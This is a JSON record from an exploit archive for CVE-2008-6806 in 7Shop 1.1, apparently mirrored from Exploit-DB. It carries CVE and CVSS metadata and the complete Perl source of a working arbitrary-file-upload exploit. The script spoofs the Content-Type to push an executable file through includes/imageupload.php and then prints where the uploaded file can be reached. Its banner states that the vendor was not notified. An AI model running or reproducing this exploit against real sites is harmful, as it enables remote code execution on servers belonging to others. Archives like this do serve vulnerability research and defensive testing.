{"exploit":{"id":"EDB-6866","name":"7Shop 1.1 - Arbitrary File Upload","description":"7Shop 1.1 - Arbitrary File Upload","cves":["CVE-2008-6806"],"author":"t0pP8uZz","published":"2008-10-29","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/6866","path":"exploits/php/webapps/6866.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-6866.pl","vulnerabilities":[{"id":"CVE-2008-6806","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unrestricted file upload vulnerability in includes/imageupload.php in 7Shop 1.1 and earlier allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in images/artikel/.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-6806","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-6806"},"updatedAt":"2024-08-07T11:42:00.322Z","retrievedAt":"2026-11-27T17:11:17.796Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-6866.png?v=2","url":"https://exploitbin.com/exploits/EDB-6866","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-6866/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-6866/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n\nuse warnings;\nuse strict;\nuse LWP::UserAgent;\nuse HTTP::Request::Common;\n\nmy $fname = rand(1000) . \".php\"; # int.. yes i know PU!\n\nprint <<INTRO;\n+++++++++++++++++++++++++++++++++++++++++++++++++++++\n+     7Shop <= 1.1 Remote Arbitrary File Upload     +\n+             [Content-Type] -> Spoofing            +\n+         Discovered && Coded By: t0pP8uZz          +\n+                                                   +\n+        Contact IRC: irc.rizon.net #sectalk        +\n+ Vendor not notified! Later versions maybe vuln!   +\n+                                                   +\n+   Discovered On: 25 October 2008 / milw0rm.com    +\n+                                                   +\n+          Script Download: http://7shop.de         +\n+++++++++++++++++++++++++++++++++++++++++++++++++++++\nINTRO\n\nprint \"\\nEnter URL(ie: http://site.com/shop): \";\n    chomp(my $url=<STDIN>);\n\nprint \"\\nEnter File Path(path to local file to upload): \";\n    chomp(my $file=<STDIN>);\n\nmy $ua = LWP::UserAgent->new;\nmy $re = $ua->request(POST $url.'/includes/imageupload.php',\n                      Content_Type => 'form-data',\n                      Content      => [ img1 => [ $file, $fname, Content_Type => 'image/jpeg' ], ] );\n\ndie \"HTTP POST Failed!\" unless $re->is_success;\n\nif($re->content =~ /File is valid/) {\n\n    print \"File successfully uploaded! Access your file here: \" . $url . \"/images/artikel/\" . $fname . \"\\n\"; # say()? nah you havent got perl510 yet. have you!\n}\nelsif($re->content =~ /The requested URL/) { # apache debug only\n\n    print \"File Upload Failed! The requested target was not running a vulnerable version of 7shop!\\n\";\n}\nelse {\n\n    print \"File Upload Failed! target vulnerable, but upload failed.. try changing filename.\\n\";\n}\nexit;\n\n# milw0rm.com [2008-10-29]","sha256":"e51be76e2d4be04f693e532be61056d79e07ad4a2295b4bbc432cf885417348c","bytes":1791,"fetchedAt":"2026-11-27T17:11:16.136Z","encoding":"utf-8 (display only; download retains original bytes)"}